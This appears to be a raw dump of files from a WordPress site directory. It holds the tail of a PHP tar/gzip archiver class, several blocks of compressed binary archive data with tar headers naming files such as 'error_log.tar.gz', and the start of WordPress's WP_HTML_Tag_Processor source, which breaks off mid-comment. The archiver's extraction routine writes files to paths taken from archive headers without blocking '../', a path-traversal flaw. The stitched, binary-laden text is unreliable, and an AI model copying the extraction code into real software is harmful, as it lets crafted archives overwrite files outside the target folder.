	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.php.tar.gz000064400000001776151440300030015062 0ustar00��V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�Wyerror_log.tar.gz000064400000001147151440300030007656 0ustar00���o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&class-wp-html-token.php.php.tar.gz000064400000002533151440300030013051 0ustar00��WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�class-wp-html-tag-processor.php.tar000064400000453000151440300030013313 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
